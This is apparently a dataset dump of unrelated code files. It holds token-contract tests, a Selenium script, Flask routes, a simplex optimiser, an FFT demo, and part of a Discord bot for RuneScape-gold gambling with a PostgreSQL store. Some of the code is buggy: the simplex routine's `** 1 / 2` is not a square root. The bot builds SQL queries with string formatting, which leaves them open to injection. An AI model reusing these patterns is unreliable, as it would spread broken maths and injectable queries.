to_wei(10), from_wallet=alice_wallet)\n    with pytest.raises(Exception):\n        token.mint(alice_address, to_wei(10), from_wallet=bob_wallet)\n\n    # switch minter to bob\n    token.proposeMinter(bob_address, from_wallet=alice_wallet)\n    time.sleep(5)\n    token.approveMinter(from_wallet=bob_wallet)\n    token.mint(alice_address, to_wei(10), from_wallet=bob_wallet)\n    with pytest.raises(Exception):\n        token.mint(alice_address, to_wei(10), from_wallet=alice_wallet)\n    with pytest.raises(Exception):\n        token.mint(bob_address, to_wei(10), from_wallet=alice_wallet)\n\n    # switch minter back to alice\n    token.proposeMinter(alice_address, from_wallet=bob_wallet)\n    time.sleep(5)\n    token.approveMinter(from_wallet=alice_wallet)\n    token.mint(alice_address, to_wei(10), from_wallet=alice_wallet)\n    with pytest.raises(Exception):\n        token.mint(alice_address, to_wei(10), from_wallet=bob_wallet)\n\n\ndef test_transfer_event(\n    alice_ocean, alice_wallet, alice_address, bob_wallet, bob_address\n):\n    \"\"\"Tests that a transfer event is registered.\"\"\"\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", from_wallet=alice_wallet, blob=\"foo_blob\"\n    )\n    block_confirmations = alice_ocean.config.block_confirmations.value\n\n    block = alice_ocean.web3.eth.block_number\n    transfer_event = token.get_transfer_event(\n        block - (block_confirmations + 1), alice_address, bob_address\n    )\n    # different way of retrieving\n    transfer_events = token.get_event_logs(\"Transfer\", None, block, block)\n    assert transfer_events == ()\n\n    token.mint(alice_address, to_wei(100), from_wallet=alice_wallet)\n    token.approve(bob_address, to_wei(1), from_wallet=alice_wallet)\n    token.transfer(bob_address, to_wei(5), from_wallet=alice_wallet)\n\n    block = alice_ocean.web3.eth.block_number\n    transfer_event = token.get_transfer_event(\n        block - (block_confirmations + 1), alice_address, bob_address\n    )\n    assert transfer_event[\"args\"][\"from\"] == alice_address\n    assert transfer_event[\"args\"][\"to\"] == bob_address\n\n    # same transfer event, different way of retrieving\n    transfer_event = token.get_event_logs(\n        \"Transfer\", None, block - (block_confirmations + 1), block\n    )[0]\n    assert transfer_event[\"args\"][\"from\"] == alice_address\n    assert transfer_event[\"args\"][\"to\"] == bob_address\n\n\ndef test_verify_transfer_tx(alice_address, bob_address, alice_ocean, alice_wallet):\n    \"\"\"Tests verify_transfer_tx function.\"\"\"\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", from_wallet=alice_wallet, blob=\"foo_blob\"\n    )\n\n    with pytest.raises(TransactionNotFound):\n        # dummy tx id which is not found in the chain\n        # need to catch TransactionNotFound exception from web3\n        token.verify_transfer_tx(\"0x0\", alice_address, bob_address)\n\n    # an actual transfer does happen\n    token.mint(alice_address, to_wei(100), from_wallet=alice_wallet)\n    token.approve(bob_address, to_wei(1), from_wallet=alice_wallet)\n    tx_id = token.transfer(bob_address, to_wei(5), from_wallet=alice_wallet)\n\n    assert len(token.verify_transfer_tx(tx_id, alice_address, bob_address)) == 2\n\n    with pytest.raises(AssertionError):\n        token.verify_transfer_tx(tx_id, \"0x0\", bob_address)\n\n\ndef test_verify_order_tx(alice_address, bob_address, alice_ocean, alice_wallet):\n    \"\"\"Tests verify_order_tx function.\"\"\"\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", from_wallet=alice_wallet, blob=\"foo_blob\"\n    )\n\n    token.mint(alice_address, to_wei(100), from_wallet=alice_wallet)\n    token.approve(bob_address, to_wei(1), from_wallet=alice_wallet)\n    transfer_tx_id = token.transfer(bob_address, to_wei(5), from_wallet=alice_wallet)\n\n    with pytest.raises(TimeExhausted):\n        with patch(\"ocean_lib.models.data_token.DataToken.get_tx_receipt\") as mock:\n            # dummy tx id which is not found in the chain\n            # catches TimeExhausted exception from web3\n            mock.side_effect = TimeExhausted()\n            token.verify_order_tx(\n                \"0x0\", \"some_did\", \"some_index\", \"some_amount\", alice_address\n            )\n\n    transfer_tx_id = token.transfer(bob_address, to_wei(5), from_wallet=alice_wallet)\n    with pytest.raises(AssertionError):\n        # tx id is from transfer, not order\n        token.verify_order_tx(\n            transfer_tx_id, \"some_did\", \"some_index\", \"some_amount\", alice_address\n        )\n\n    sample_ddo_path = get_resource_path(\"ddo\", \"ddo_sa_sample.json\")\n    asset = DDO(json_filename=sample_ddo_path)\n    order_tx_id = token.startOrder(\n        alice_address, to_wei(1), 1, ZERO_ADDRESS, alice_wallet\n    )\n\n    with pytest.raises(AssertionError):\n        # the wrong asset did, this is a sample\n        token.verify_order_tx(\n            order_tx_id, asset.did, \"some_index\", \"some_amount\", alice_address\n        )\n\n\ndef test_download(alice_ocean, alice_wallet, tmpdir):\n    token = alice_ocean.create_data_token(\n        \"DataToken1\",\n        \"DT1\",\n        from_wallet=alice_wallet,\n        blob=\"https://s3.amazonaws.com/testfiles.oceanprotocol.com/info.0.json\",\n    )\n\n    written_path = token.download(alice_wallet, \"test\", str(tmpdir))\n    assert os.path.exists(written_path)\n\n\ndef test_calculate_token_holders(alice_ocean, alice_wallet, alice_address):\n    \"\"\"Test the calculate_token_holders methods.\"\"\"\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", from_wallet=alice_wallet, blob=\"foo_blob\"\n    )\n    token.mint(alice_address, to_wei(100), from_wallet=alice_wallet)\n    block = alice_ocean.web3.eth.block_number\n    block_confirmations = alice_ocean.config.block_confirmations.value\n    token_holders = token.calculate_token_holders(\n        block - (block_confirmations + 1), block, to_wei(1)\n    )\n    assert len(token_holders) == 1\n","sub_path":"ocean_lib/models/test/test_datatoken.py","file_name":"test_datatoken.py","file_ext":"py","file_size_in_byte":11366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"532763454","text":"# coding=utf-8\nfrom selenium import webdriver\n\n#实例化driver\ndriver = webdriver.Chrome()  #mac，linux需要先安装\n# webdriver.Chrome(executable_path=\"chromedriver\")  #windows下，传入phantomjs的位置就可以\n\n#请求网址\ndriver.get(\"http://www.baidu.com\")\n\n#定位元素，输入内容\ndriver.find_element_by_id(\"kw\").send_keys(\"传智播客\")\n\n#定位元素，点击\ndriver.find_element_by_id(\"su\").click()\n\nprint(driver.current_url)\n#退出\ndriver.quit()","sub_path":"python_spider/code/01_try_selenium.py","file_name":"01_try_selenium.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"15431652","text":"import os\nimport logging\n\nfrom nameparsers import TvNameParser\nfrom nameparsers import MovieNameParser\n\nclass Media:\n    def __init__(self):\n        self._wordSeparator = '.'\n        self._categorySeparator = '_'\n\nclass MovieMedia(Media):\n    def getCosmeticDir(self):\n        return \"Movies\";\n\n    def getCosmeticName(self):\n        return self._wordSeparator.join(self.__titleWords) + \\\n            self._categorySeparator + \\\n            str(self.year)\n        \n    def __init__(self, title, year):\n        Media.__init__(self)\n\n        self.title = title\n        self.__titleWords = title.split(' ')\n        self.year = year\n\nclass TvMedia(Media):\n    def getCosmeticDir(self):\n        return os.path.join(\"TV\", \n            self._wordSeparator.join(self.__showTitleWords), \n            \"Season\" + self._wordSeparator + str(int(self.season)));\n\n    def getCosmeticName(self):\n        return self._wordSeparator.join(self.__showTitleWords) + \\\n            self._categorySeparator + \\\n            \"[\" + str(self.season).zfill(2) + \"x\" + str(self.episode).zfill(2) + \"]\" + \\\n            self._categorySeparator + \\\n            self._wordSeparator.join(self.__epTitleWords)\n\n    def __init__(self, showTitle, epTitle, season, episode):\n        Media.__init__(self)\n\n        self.showTitle = showTitle\n        self.__showTitleWords = showTitle.split(' ')\n        self.epTitle = epTitle\n        self.__epTitleWords = epTitle.split(' ')\n        self.season = season\n        self.episode = episode\n\nclass MediaFactory:\n    def buildFromRawName(self, nameParserFactory, rawName):\n        log = logging.getLogger('root')\n\n        parser = nameParserFactory.buildFromRawName(rawName)\n        info = parser.parseName(rawName)\n\n        if info and isinstance(parser, TvNameParser):\n            log.info(\n                'From {%s}. Found TV {%s-%s: S%sE%s}', \n                rawName,\n                info['showTitle'],\n                info['epTitle'],\n                info['season'],\n                info['episode'])\n\n            return TvMedia(\n                info['showTitle'], \n                info['epTitle'], \n                info['season'], \n                info['episode'])\n        elif info and isinstance(parser, MovieNameParser):\n            log.info(\n                'From {%s}. Found Movie {%s-%s}', \n                rawName,\n                info['title'],\n                info['year'])\n\n            return MovieMedia(info['title'], info['year'])\n\n        log.warn('Could not build a media type from {' + rawName + '}')\n        return None\n        \n","sub_path":"src/media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"184435941","text":"ids = ['ICASE_ID', 'IDCASE_ID']\n# CASEMCASE\nmcase_id = ['ICASE_ID']\nmcase_dt = ['YOB']\nmcase_ca = ['Gender']\n\n# CASEDCASE\ndcase_info_nm = ['HEIGHT_NM', 'WEIGHT_NM']\ndcase_info_dt = ['IH_DT', 'OH_DT']\ndcase_info_ca = ['OPC_ID']\n\ndcase_time_nm = ['IVTPAH_NM', 'IVTPAM_NM', 'IVTPAMG_NM', 'ONSETH_NM', 'ONSETM_NM', 'OTTIH_NM', 'OTTIM_NM']\ndcase_time_dt = ['ONSET_DT', 'OT_DT', 'IVTPA_DT']\ndcase_time_ca = ['IVTPATH_ID', 'NIVTPA_ID']\n\ndcase_gcsv_nm = ['GCSE_NM', 'GCSV_NM', 'GCSM_NM', 'SBP_NM', 'DBP_NM', 'BT_NM', 'HR_NM', 'RR_NM']\n\ndcase_icd_ca = ['ICD_ID']\n\ndcase_subtype_ca = ['TOAST_ID', 'CICH_ID', 'CSAH_ID']\n\n# dcase_heart_bo = ['THDA_FL', 'THDI_FL', 'THDV_FL', 'THDE_FL', 'THDM_FL', 'THDH_FL', 'THDAM_FL', 'THDR_FL', 'THDP_FL']\n\ndcase_treat_bo = ['TRMAN_FL', 'TRMAS_FL', 'TRMTI_FL', 'TRMHE_FL', 'TRMWA_FL', 'TRMIA_FL', 'TRMFO_FL',\n                  'TRMTA_FL', 'TRMSD_FL', 'TRMRE_FL', 'TRMEN_FL', 'TRMAG_FL', 'TRMCL_FL', 'TRMPL_FL', 'TRMLM_FL',\n                  'TRMIV_FL', 'TRMVE_FL', 'TRMNG_FL', 'TRMDY_FL', 'TRMICU_FL', 'TRMSM_FL', 'TRMED_FL', 'TRMOP_FL']\n\ndcase_med_bo = ['OMAS_FL', 'OMAG_FL', 'OMTI_FL', 'OMCL_FL', 'OMWA_FL', 'OMPL_FL', 'OMANH_FL', 'OMAND_FL', 'OMLI_FL',\n                'AMAS_FL', 'AMAG_FL', 'AMTI_FL', 'AMCL_FL', 'AMWA_FL', 'AMPL_FL', 'AMANH_FL', 'AMAND_FL', 'AMLI_FL']\n\ndcase_complicaton_bo = ['COMPN_FL', 'COMUT_FL', 'COMUG_FL', 'COMPR_FL', 'COMPU_FL', 'COMAC_FL', 'COMSE_FL', 'COMDE_FL']\n\ndcase_derterioation_bo = ['DETST_FL', 'DETHE_FL', 'DETHO_FL', 'DETHA_FL', 'DETVA_FL', 'DETRE_FL', 'DETME_FL']\n\n# dcase_ecg_ca = ['ECGL_FL', 'ECGA_FL', 'ECGQ_FL']\n\ndcase_lb_nm = ['HB_NM', 'HCT_NM', 'PLATELET_NM', 'WBC_NM', 'PTT1_NM', 'PTT2_NM', 'PTINR_NM', 'ER_NM', 'BUN_NM',\n               'CRE_NM', 'ALB_NM', 'CRP_NM', 'HBAC_NM', 'AC_NM', 'UA_NM', 'TCHO_NM', 'TG_NM', 'HDL_NM', 'LDL_NM',\n               'GOT_NM', 'GPT_NM']\n\ndcase_off_ca = ['OFF_ID', 'OFFDT_ID']\n\n# CASEDBMRS\ndbmrs_nm = ['Feeding', 'Transfers', 'Bathing', 'Toilet_use', 'Grooming', 'Mobility', 'Stairs', 'Dressing',\n            'Bowel_control', 'Bladder_control', 'discharged_mrs']\n\n# CASEDCTMR\ndctmr_nm = ['cortical_ACA_ctr', 'cortical_MCA_ctr', 'subcortical_ACA_ctr', 'subcortical_MCA_ctr', 'PCA_cortex_ctr',\n            'thalamus_ctr', 'brainstem_ctr', 'cerebellum_ctr', 'Watershed_ctr', 'Hemorrhagic_infarct_ctr',\n            'Old_stroke_ctci', 'cortical_ACA_ctl', 'cortical_MCA_ctl', 'subcortical_ACA_ctl', 'subcortical_MCA_ctl',\n            'PCA_cortex_ctl', 'thalamus_ctl', 'brainstem_ctl', 'cerebellum_ctl', 'Watershed_ctl',\n            'Hemorrhagic_infarct_ctl', 'Old_stroke_ctch', 'cortical_ACA_mrir', 'cortical_MCA_mrir',\n            'subcortical_ACA_mrir', 'subcortical_MCA_mrir', 'PCA_cortex_mrir', 'thalamus_mrir', 'brainstem_mrir',\n            'cerebellum_mrir', 'Watershed_mrir', 'Hemorrhagic_infarct_mrir', 'Old_stroke_mrici', 'cortical_ACA_mril',\n            'cortical_MCA_mril', 'subcortical_ACA_mril', 'subcortical_MCA_mril', 'PCA_cortex_mril', 'thalamus_mril',\n            'brainstem_mril', 'cerebellum_mril', 'Watershed_mril', 'Hemorrhagic_infarct_mril', 'Old_stroke_mrich']\n\n# ddgfa\nddgfa_ca = ['HD_ID', 'PCVA_ID', 'PO_ID', 'UR_ID', 'SM_ID', 'PTIA_ID', 'HC_ID', 'HT_ID', 'DM_ID', 'PAD_ID', 'AL_ID',\n            'CA_ID']\n\n# dfahi\ndfahi_ca = ['FAHIID_PARENTS_1', 'FAHIID_PARENTS_2', 'FAHIID_PARENTS_3', 'FAHIID_PARENTS_4', 'FAHIID_BRSI_1',\n            'FAHIID_BRSI_2', 'FAHIID_BRSI_3', 'FAHIID_BRSI_4']\n\n# dnihs\ndnihs_nm = ['NIHS_1a_in', 'NIHS_1b_in', 'NIHS_1c_in', 'NIHS_2_in', 'NIHS_3_in', 'NIHS_4_in', 'NIHS_5aL_in',\n            'NIHS_5bR_in', 'NIHS_6aL_in', 'NIHS_6bR_in', 'NIHS_7_in', 'NIHS_8_in', 'NIHS_9_in', 'NIHS_10_in',\n            'NIHS_11_in', 'NIHS_1a_out', 'NIHS_1b_out', 'NIHS_1c_out', 'NIHS_2_out', 'NIHS_3_out', 'NIHS_4_out',\n            'NIHS_5aL_out', 'NIHS_5bR_out', 'NIHS_6aL_out', 'NIHS_6bR_out', 'NIHS_7_out', 'NIHS_8_out', 'NIHS_9_out',\n            'NIHS_10_out', 'NIHS_11_out']\n\n# drfur\ndrfur_ca = ['FLU_ID_1']\ndrfur_bo = ['VERS_FL_1', 'VEIHD_FL_1']\ndrfur_nm = ['MRS_TX_1', 'MRS_TX_3']","sub_path":"data_source/selected_variables.py","file_name":"selected_variables.py","file_ext":"py","file_size_in_byte":4017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"254496164","text":"from myapp import app\nimport pandas as pd\nimport json, plotly\nfrom flask import render_template, request\nfrom scripts.graphs import return_figures\nfrom scripts.search_song import search_song\nfrom data.myfunctions import remove_stop_words\n\n@app.route('/')\n@app.route('/index')\ndef jumbotron():\n    return render_template('index.html')\n\n@app.route('/eda')\ndef eda():\n    \"\"\"\n\n    \"\"\"\n    figures = return_figures()\n\n    # plot ids for the html id tag\n    ids = ['figure-{}'.format(i) for i, _ in enumerate(figures)]\n\n    # Convert the plotly figures to JSON for javascript in html template\n    figuresJSON = json.dumps(figures, cls=plotly.utils.PlotlyJSONEncoder)\n\n    return render_template('eda.html',\n                           ids=ids,\n                           figuresJSON=figuresJSON)\n\n@app.route('/search')\ndef search_page():\n    return render_template('search.html')\n\n@app.route('/go')\ndef go():\n    \"\"\"Processes search item from user\n\n    \"\"\"\n    # save user input in query\n    query = request.args.get('query', '') \n\n    query_length = remove_stop_words(query)\n    if query_length > 0:\n        results_df = search_song(query)\n\t    \n    else:\n        query = 'All the words you entered are identified as stop words by ChartLyrics. The query cannot be executed.'\n        results_df = pd.DataFrame(columns = ['lyric_id', 'lyric_check_sum', 'artist', 'song'])\n\n    return render_template('go.html', \n                           query = query,\n                           table = results_df\n    )\n\n@app.route('/results')\ndef results_page():\n    \"\"\"\n    \"\"\"\n    # save user input in query\n    lyricId = request.args.get('lyricId', '')\n    lyricCheckSum = request.args.get('lyricCheckSum', '')\n\n    return render_template('results.html',\n                           lyricId = lyricId,\n                           lyricCheckSum = lyricCheckSum\n    )","sub_path":"backup/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"273557726","text":"def simplex_method(function, x_count, start_x, delta, ex, ef, alpha, calculation_data=None):\n    \"\"\"\n    Функция реализующая ПСМ.\n    @param function: Целевая функция.\n    @param x_count: Размерность функции.\n    @param start_x: Начальная точка.\n    @param delta: Длина ребра симплекса.\n    @param ex: Точность по аргументу.\n    @param ef: Точность по функции.\n    @param alpha: Коэффициент сжатия.\n    @param calculation_data: Объект для сбора данных по поиску.\n    @return: Точка оптимума.\n    \"\"\"\n\n    # Получаем коэффициенты для начального расчета симплекса.\n    p = delta * (((x_count + 1) ** 1 / 2 + x_count - 1) / (x_count * 2 ** 1 / 2))\n    g = delta * (((x_count + 1) ** 1 / 2 - 1) / (x_count * 2 ** 1 / 2))\n\n    # Получаем начальный симплекс.\n    simplex = [[start_x[j] if i == 0 else\n                start_x[j] + p if j == i - 1 else\n                start_x[j] + g\n                for j in range(0, x_count, 1)]\n               for i in range(0, x_count + 1, 1)]\n\n    if calculation_data is not None:\n        calculation_data.add_simplex(simplex)\n\n    # Получаем начальное приблежение точки оптимума.\n    optimum_approximation = approximate_optimum(x_count, simplex)\n\n    if calculation_data is not None:\n        calculation_data.add_optimum_approximation(optimum_approximation)\n\n    # Получаем значение функции в начальном приблежении точки оптимума.\n    f_optimum_approximation = calculate_function_and_add_function_call(function,\n                                                                       optimum_approximation,\n                                                                       calculation_data)\n\n    # Начинаем цикл\n    while True:\n        if calculation_data is not None:\n            calculation_data.add_iteration()\n\n        # Вычисляем значение функции в точках симплекса.\n        f_simplex = [calculate_function_and_add_function_call(function, xs, calculation_data)\n                     for xs in simplex]\n\n        # Получаем максимальное значение функции в точках симлекса и индекс точки в симплексе.\n        max_f = max(f_simplex)\n        max_f_index = f_simplex.index(max_f)\n\n        # Получаем зеркальное отражение максимальной точки симплекса и значение функции в этой точке\n        c = 2 / x_count\n        column_sums = vector_sum(simplex)\n        max_simplex = simplex[max_f_index]\n        reflection = [c * (column_sums[index] - max_simplex[index]) - max_simplex[index] for index in\n                      range(0, x_count)]\n        f_reflection = calculate_function_and_add_function_call(function, reflection, calculation_data)\n\n        # Получаем новый симплекс.\n        if f_reflection <= max_f:\n            simplex_next = [reflection\n                            if index == max_f_index\n                            else value\n                            for index, value in enumerate(simplex)]\n        else:\n            min_f = min(f_simplex)\n            min_f_index = f_simplex.index(min_f)\n            min_f_simplex_vector = simplex[min_f_index]\n            simplex_next = [[alpha * simplex_value + (1 - alpha) * min_f_simplex_vector[index]\n                             for index, simplex_value in enumerate(simplex_vector)]\n                            for simplex_vector in simplex]\n\n        if calculation_data is not None:\n            calculation_data.add_simplex(simplex_next)\n\n        # Получаем новое приблежение точки оптимума.\n        optimum_approximation_next = approximate_optimum(x_count, simplex_next)\n\n        if calculation_data is not None:\n            calculation_data.add_optimum_approximation(optimum_approximation_next)\n\n        # Получаем значение функции в новом приблежении точки оп��имума.\n        f_optimum_approximation_next = calculate_function_and_add_function_call(function,\n                                                                                optimum_approximation_next,\n                                                                                calculation_data)\n\n        # Проверяем условие выхода. Если условие не выполняется, то продолжаем.\n        if ((optimum_approximation_next[0] - optimum_approximation[0]) ** 2 +\n            (optimum_approximation_next[1] - optimum_approximation[1]) ** 2) ** 1 / 2 <= ex and \\\n                abs(f_optimum_approximation - f_optimum_approximation_next) <= ef:\n            return optimum_approximation_next\n        else:\n            simplex = simplex_next\n            optimum_approximation = optimum_approximation_next\n            f_optimum_approximation = f_optimum_approximation_next\n\n\ndef vector_sum(matrix):\n    \"\"\"\n    Суммирует векторы в матрице.\n    @param matrix: Матрица.\n    @return: Вектор, являющийся суммой векторов в матрице.\n    \"\"\"\n    result = []\n    for vector in matrix:\n        for index, value in enumerate(vector):\n            if len(result) <= index:\n                result.append(value)\n            else:\n                result[index] += value\n\n    return result\n\n\ndef calculate_function_and_add_function_call(function, xs, calculation_data=None):\n    \"\"\"\n    Получает значение функции и обновляет счетчик вызова функции.\n    @param function: Функция.\n    @param xs: Аргументы.\n    @param calculation_data: Объект для сбора данных по поиску.\n    @return: Значение функции.\n    \"\"\"\n    result = function(*xs)\n\n    if calculation_data is not None:\n        calculation_data.add_function_call()\n\n    return result\n\n\ndef approximate_optimum(x_count, simplex):\n    \"\"\"\n    Получает приближение точки оптимума из точек симплекса.\n    @param x_count: Размерность.\n    @param simplex: Симплекс.\n    @return: Приблежение точки оптимума.\n    \"\"\"\n    c = 1 / (x_count + 1)\n    return [c * vector_sum_value for vector_sum_value in vector_sum(simplex)]\n\n","sub_path":"simplex.py","file_name":"simplex.py","file_ext":"py","file_size_in_byte":6695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"423323042","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport pylab as pl\nimport scipy.signal as signal\n\ndef average_fft(x, fft_size):\n    n = len(x) // fft_size * fft_size\n    tmp = x[:n].reshape(-1, fft_size)\n    tmp *= signal.hann(fft_size, sym=0)\n    xf = np.abs(np.fft.rfft(tmp)/fft_size)\n    avgf = np.average(xf, axis=0)\n    return 20*np.log10(avgf)\n\nsampling_rate = 8000\nfft_size = 512\nt = np.arange(0, 1.0, 1.0/sampling_rate)\nx = np.sin(2*np.pi*156.25*t)  + 2*np.sin(2*np.pi*234.375*t)\nxs = x[:fft_size]\nxf = np.fft.rfft(xs)/fft_size\nfreqs = np.linspace(0, sampling_rate/2, fft_size/2+1)\nxfp = 20*np.log10(np.clip(np.abs(xf), 1e-20, 1e100))\npl.figure(figsize=(8,4))\npl.subplot(211)\npl.plot(t[:fft_size], xs)\npl.xlabel(u\"时间(秒)\")\npl.title(u\"156.25Hz和234.375Hz的波形和频谱\")\npl.subplot(212)\npl.plot(freqs, xfp)\npl.xlabel(u\"频率(Hz)\")\npl.subplots_adjust(hspace=0.4)\npl.show()\nprint(average_fft(x,fft_size))\n","sub_path":"T/tool/signal/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"111710809","text":"import discord\nimport asyncio\nimport random\nimport time\nimport datetime\nimport os\nimport psycopg2\nimport hashslingingslasher as hasher\nfrom discord.utils import get\n\nDATABASE_URL = os.environ['DATABASE_URL']\nconn = psycopg2.connect(DATABASE_URL, sslmode='require')\nc=conn.cursor()\n\n# c.execute(\"DROP TABLE rsmoney\")\n# c.execute(\"\"\"CREATE TABLE rsmoney (\n# \t\t\t\tid bigint,\n# \t\t\t\trs3 integer,\n# \t\t\t\tosrs integer,\n# \t\t\t\trs3total bigint,\n# \t\t\t\tosrstotal bigint,\n# \t\t\t\tclientseed text,\n# \t\t\t\tprivacy boolean,\n# \t\t\t\tnonce integer\n# \t\t\t\t)\"\"\")\n# c.execute(\"INSERT INTO rsmoney VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\", (\"502951164254355456\",0,0,0,0,\"None\",False,0))\n# conn.commit()\n\n# c.execute(\"DROP TABLE data\")\n# c.execute(\"\"\"CREATE TABLE data (\n# \t\t\t\tseedreset text,\n# \t\t\t\tserverseed text,\n# \t\t\t\tyesterdayseed text\n# \t\t\t\t)\"\"\")\n# c.execute(\"INSERT INTO data VALUES (%s, %s, %s)\", (time.strftime(\"%d\"), hasher.create_seed(), \"None\"))\n# conn.commit()\n\nc.execute(\"DROP TABLE bj\")\nc.execute(\"\"\"CREATE TABLE bj (\n\t\t\t\tid bigint,\n\t\t\t\tdeck text,\n\t\t\t\tbotcards text,\n\t\t\t\tplayercards text,\n\t\t\t\tbotscore integer,\n\t\t\t\tplayerscore integer,\n\t\t\t\tbet integer,\n\t\t\t\tcurrency text\n\t\t\t\t)\"\"\")\n\nclient = discord.Client()\n\n\ndef add_member(userid,rs3,osrs,usd):\n\tc.execute(\"INSERT INTO rsmoney VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\", (userid,rs3,osrs,0,0,\"ClientSeed\",False,0))\n\tconn.commit()\n\ndef getvalue(userid,value,table):\n\tstrings=[\"clientseed\",\"seedreset\",\"serverseed\",\"yesterdayseed\",\"deck\",\"botcards\",\"playercards\",\"currency\"]\n\tif value==\"07\":\n\t\tvalue=\"osrs\"\n\ttry:\n\t\tc.execute(\"SELECT rs3 FROM rsmoney WHERE id={}\".format(userid))\n\t\ttester=int(c.fetchone()[0])\n\texcept:\n\t\tprint(\"New Member\")\n\t\tadd_member(int(userid),0,0,0)\n\t\treturn 0\n\n\tc.execute(\"SELECT {} FROM {} WHERE id={}\".format(value, table, userid))\n\n\tif value==\"privacy\":\n\t\treturn bool(c.fetchone()[0])\n\telif value in strings:\n\t\treturn str(c.fetchone()[0])\n\telse:\n\t\treturn int(c.fetchone()[0])\n\n#amount should be in K not M\ndef update_money(userid,amount,currency):\n\trs3=getvalue(int(userid),currency,\"rsmoney\")\n\tosrs=getvalue(int(userid),currency,\"rsmoney\")\n\tif currency==\"07\":\n\t\tc.execute(\"UPDATE rsmoney SET osrs={} WHERE id={}\".format(osrs+amount, userid))\n\telif currency==\"rs3\":\n\t\tc.execute(\"UPDATE rsmoney SET rs3={} WHERE id={}\".format(rs3+amount, userid))\n\tconn.commit()\n\ndef isstaff(checkedid):\n\tfor i in open(\"staff.txt\"):\n\t\tif str(i.split(\" \")[0])==str(checkedid):\n\t\t\treturn \"verified\"\n\ndef formatok(amount, currency):\n\t#takes amount as string from message.content\n\t#returns an integer in K\n\t#amount=str(amount)\n\tif (amount[-1:]).lower()==\"m\":\n\t\treturn int(float(str(amount[:-1]))*1000)\n\telif (amount[-1:]).lower()==\"k\":\n\t\treturn int(float(str(amount[:-1])))\n\telif (amount[-1:]).lower()==\"b\":\n\t\treturn int(float(str(amount[:-1]))*1000000)\n\telse:\n\t\treturn int(float(amount)*1000)\n\ndef formatfromk(amount, currency):\n\t#takes amount as integer in K\n\t#returns a string to be printed\n\n\tif amount>=1000000:\n\t\tif len(str(amount))==7:\n\t\t\treturn '{0:.3g}'.format(amount*0.000001)+\"B\"\n\t\telif len(str(amount))==8:\n\t\t\treturn '{0:.4g}'.format(amount*0.000001)+\"B\"\n\t\telse:\n\t\t\treturn '{0:.5g}'.format(amount*0.000001)+\"B\"\n\telif amount>=10000:\n\t\tif len(str(amount))==5:\n\t\t\treturn '{0:.4g}'.format(amount*0.001)+\"M\"\n\t\telif len(str(amount))==6:\n\t\t\treturn '{0:.5g}'.format(amount*0.001)+\"M\"\n\telse:\n\t\treturn str(amount)+\"k\"\n\ndef isenough(amount, currency):\n\tglobal words\n\tif currency==\"rs3\":\n\t\tif amount<1000:\n\t\t\twords=\"The minimum amount you can bet is **1m** gp RS3.\"\n\t\t\treturn False, words\n\t\telse:\n\t\t\treturn True, \" \"\n\telif currency==\"07\":\n\t\tif amount<100:\n\t\t\twords=\"The minimum amount you can bet is **100k** gp 07.\"\n\t\t\treturn False, words\n\t\telse:\n\t\t\treturn True, \" \"\n\ndef ticketbets(userid, bet, currency):\n\tif currency==\"rs3\":\n\t\ttotalbet=getvalue(userid, \"rs3total\",\"rsmoney\")\n\t\tc.execute(\"UPDATE rsmoney SET rs3total={} WHERE id={}\".format(totalbet+bet, userid))\n\telif currency==\"07\":\n\t\ttotalbet=getvalue(userid, \"osrstotal\",\"rsmoney\")\n\t\tc.execute(\"UPDATE rsmoney SET osrstotal={} WHERE id={}\".format(totalbet+bet, userid))\n\tconn.commit()\n\ndef getrandint(userid):\n\tserverseed=getvalue(userid,\"serverseed\",\"data\")\n\tnonce=getvalue(userid, \"nonce\",\"rsmoney\")\n\tclientseed=getvalue(userid, \"clientseed\",\"rsmoney\")\n\trandint=hasher.getrandint(serverseed, clientseed, nonce)\n\treturn randint\n\ndef scorebj(userid,cards,player):\n\t#player is a bool representing if that is player or bot score\n\tscore=0\n\tprint(cards.split(\"|\"))\n\tfor i in cards.split(\"|\"):\n\t\tprint(i)\n\t\tif i[0]==\"a\":\n\t\t\tif score>=11:\n\t\t\t\tscore+=1\n\t\t\telse:\n\t\t\t\tscore+=11\n\t\telif i[0]==\"j\" or i[0]==\"q\" or i[0]==\"k\":\n\t\t\tscore+=10\n\t\telse:\n\t\t\tscore+=int(i[0])\n\n\tif player==True:\n\t\tc.execute(\"UPDATE bj SET playerscore={} WHERE id={}\".format(score, userid))\n\telif player==False:\n\t\tc.execute(\"UPDATE bj SET botscore={} WHERE id={}\".format(score, userid))\n\treturn score\n\ndef printbj(userid):\n\tbotcards=[]\n\tplayercards=[]\n\tbotscore=getvalue(userid,\"botscore\",\"bj\")\n\tplayerscore=getvalue(userid,\"playerscore\",\"bj\")\n\n\tbotcards+=get(client.get_all_emojis(), name=\"back~1\")\n\tfor i in ((getvalue(userid,\"botcards\",\"bj\")).split(\"|\"))[1:]:\n\t\tbotcards+=get(client.get_all_emojis(), name=str(i))\n\tfor i in (getvalue(userid,\"playercards\",\"bj\")).split(\"|\"):\n\t\tplayercards+=get(client.get_all_emojis(), name=str(i))\n\n\tembed = discord.Embed(color=28)\n\tembed.set_author(name=\"<@\"+str(userid)+\">'s Blackjack Game\")\n\tembed.add_field(name=\"Bot Cards - \"+str(botscore), value=botcards, 